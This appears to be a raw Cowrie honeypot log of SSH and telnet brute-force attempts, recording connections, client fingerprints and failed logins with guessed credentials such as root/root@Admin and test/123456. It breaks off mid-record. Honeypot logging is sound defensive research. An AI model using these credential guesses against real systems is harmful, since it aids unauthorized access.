{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:18:52.265354Z","src_ip":"162.241.132.172","session":"7d1a8e643021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37110,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c0e31e48a39","protocol":"ssh","message":"New connection: 8.210.75.243:37110 (10.17.0.5:22) [session: 7c0e31e48a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:00.038822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:00.043543Z","src_ip":"8.210.75.243","session":"7c0e31e48a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.210866928100586,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:00.999028Z","src_ip":"170.64.224.25","session":"9877997d7fd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.30476236343384,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:05.834986Z","src_ip":"170.64.224.25","session":"5d7b25321c48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":47758,"dst_ip":"159.203.135.109","dst_port":22,"session":"5033e6173bdf","protocol":"ssh","message":"New connection: 159.65.58.200:47758 (159.203.135.109:22) [session: 5033e6173bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:06.897063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:07.101978Z","src_ip":"159.65.58.200","session":"5033e6173bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:07.104656Z","src_ip":"159.65.58.200","session":"5033e6173bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:07.765950Z","src_ip":"8.210.75.243","session":"aacac8d6d135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"snowdrop","password":"123456","message":"login attempt [snowdrop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:08.507408Z","src_ip":"159.65.58.200","session":"5033e6173bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:09.799596Z","src_ip":"159.65.58.200","session":"5033e6173bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49192,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7c11e62c910","protocol":"ssh","message":"New connection: 8.210.75.243:49192 (10.17.0.5:22) [session: f7c11e62c910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:26.392302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:27.861978Z","src_ip":"8.210.75.243","session":"f7c11e62c910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:39.042570Z","src_ip":"8.210.75.243","session":"830bb75713d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":44744,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc41df5e9c5","protocol":"ssh","message":"New connection: 123.58.213.128:44744 (10.17.0.5:22) [session: 1bc41df5e9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:57.635083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:57.638217Z","src_ip":"123.58.213.128","session":"1bc41df5e9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:57.861897Z","src_ip":"123.58.213.128","session":"1bc41df5e9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@Admin","message":"login attempt [root/root@Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:58.732854Z","src_ip":"123.58.213.128","session":"1bc41df5e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:19:59.956071Z","src_ip":"123.58.213.128","session":"1bc41df5e9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":38268,"dst_ip":"10.17.0.5","dst_port":22,"session":"05ec04011b0b","protocol":"ssh","message":"New connection: 81.192.46.32:38268 (10.17.0.5:22) [session: 05ec04011b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:01.720660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:01.726301Z","src_ip":"81.192.46.32","session":"05ec04011b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:01.840864Z","src_ip":"81.192.46.32","session":"05ec04011b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33054,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a8d19e1ad4a","protocol":"ssh","message":"New connection: 8.210.75.243:33054 (10.17.0.5:22) [session: 8a8d19e1ad4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:01.894529Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"13245","message":"login attempt [root/13245] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:02.338370Z","src_ip":"81.192.46.32","session":"05ec04011b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:03.454849Z","src_ip":"81.192.46.32","session":"05ec04011b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:09.520624Z","src_ip":"8.210.75.243","session":"9de89b9853ef","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:11.680700Z","src_ip":"8.210.75.243","session":"8a8d19e1ad4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:12.512586Z","src_ip":"8.210.75.243","session":"8a8d19e1ad4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50922,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2915896e55b","protocol":"telnet","message":"New connection: 170.64.224.25:50922 (159.203.135.109:23) [session: b2915896e55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:14.951553Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":53444,"dst_ip":"10.17.0.5","dst_port":22,"session":"9331682bb3d2","protocol":"ssh","message":"New connection: 152.67.46.203:53444 (10.17.0.5:22) [session: 9331682bb3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:15.323689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:15.328130Z","src_ip":"152.67.46.203","session":"9331682bb3d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:15.440681Z","src_ip":"152.67.46.203","session":"9331682bb3d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicecity","message":"login attempt [root/vicecity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:15.928845Z","src_ip":"152.67.46.203","session":"9331682bb3d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:17.043997Z","src_ip":"152.67.46.203","session":"9331682bb3d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46796,"dst_ip":"10.17.0.5","dst_port":22,"session":"310cb85cd86d","protocol":"ssh","message":"New connection: 91.92.40.4:46796 (10.17.0.5:22) [session: 310cb85cd86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:18.664273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:18.668427Z","src_ip":"91.92.40.4","session":"310cb85cd86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:18.750557Z","src_ip":"91.92.40.4","session":"310cb85cd86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:19.000496Z","src_ip":"91.92.40.4","session":"310cb85cd86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:20.086870Z","src_ip":"91.92.40.4","session":"310cb85cd86d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:39.115511Z","src_ip":"8.210.75.243","session":"f4e4f6ada89e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":36652,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf03babfa42e","protocol":"ssh","message":"New connection: 2.57.122.209:36652 (10.17.0.5:22) [session: bf03babfa42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:52.439735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:52.660796Z","src_ip":"2.57.122.209","session":"bf03babfa42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:52.666951Z","src_ip":"2.57.122.209","session":"bf03babfa42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321","message":"login attempt [root/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:54.608413Z","src_ip":"2.57.122.209","session":"bf03babfa42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:20:55.939093Z","src_ip":"2.57.122.209","session":"bf03babfa42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:00.047857Z","src_ip":"8.210.75.243","session":"7c0e31e48a39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.124.42.183","src_port":54172,"dst_ip":"10.17.0.5","dst_port":22,"session":"b46b264636c8","protocol":"ssh","message":"New connection: 125.124.42.183:54172 (10.17.0.5:22) [session: b46b264636c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:03.627296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:03.631451Z","src_ip":"125.124.42.183","session":"b46b264636c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-